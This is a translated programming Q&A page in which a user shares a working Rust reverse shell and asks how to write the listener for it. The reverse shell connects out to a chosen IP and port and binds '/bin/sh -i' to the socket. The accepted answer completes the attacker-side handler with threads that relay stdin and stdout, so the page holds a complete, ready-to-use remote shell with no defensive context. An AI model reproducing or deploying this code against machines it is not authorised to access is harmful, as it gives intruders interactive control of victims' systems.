【问题标题】:How to interact with a reverse shell in Rust?如何与 Rust 中的反向 shell 交互?
【发布时间】:2020-04-23 13:48:44
【问题描述】:

OpenBSD 的 Netcat implementationunix_bind() 侦听端口...与Rust 的TcpListener::bind() 的行为基本相同。我在编写listen 函数(模拟nc -l -p <port>)时迷失了方向,即如何与反向shell 交互。

虽然听起来微不足道,但我希望listennc -l -p <port> 一样给我sh-3.2$ 提示。我在网上挖掘的所有 Netcat-Rust 实现都不允许我与这样的反向 shell 交互。

反向shell代码(机器1):(改编自this question我多年前问过)

fn reverse_shell(ip: &str, port: &str) {
    let s = TcpStream::connect((ip, port)).unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}

监听代码(机器2):

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   // How do I interact with the shell now??
}

Rust 代码具有一定的简洁性和优雅性,可以帮助我简洁地理解正在发生的事情,这就是为什么我不想只从 Netcat 复制 C 代码。

【问题讨论】:

    标签: sockets tcp rust netcat reverse-shell


    【解决方案1】:

    基本上,我们希望有两个双向重定向——一个从stdinstream,另一个从streamstdout

    我们可以使用下面的通用pipe_thread 函数来实现这一点,它为此创建了一个专用的操作系统线程(可以更有效地完成,但我们想要简单)。在listen 中,我们像这样生成两个线程,并等待它们终止。

    fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
    where R: std::io::Read + Send + 'static,
          W: std::io::Write + Send + 'static
    {
        std::thread::spawn(move || {
            let mut buffer = [0; 1024];
            loop {
                let len = r.read(&mut buffer).unwrap();
                if len == 0 {
                    break;
                }
                w.write(&buffer[..len]).unwrap();
                w.flush().unwrap();
            }
        })
    }
    
    fn listen(port: u16) {
       let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
       let (mut stream, _) = x.accept().unwrap();
       let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
       let t2 = pipe_thread(stream, std::io::stdout());
       t1.join();
       t2.join();
    }
    
    

    【讨论】:

    • 嘿,丹,测试了你的代码,只需在w.write 之后添加w.flush();:我的系统缓冲区不时刷新,这会导致终端出现“故障”。谢谢!
    • 感谢您的建议!
    猜你喜欢
    • 2021-08-28
    • 2017-08-03
    • 2011-03-12
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-12-04
    • 2015-05-25
    • 1970-01-01
    相关资源
    最近更新 更多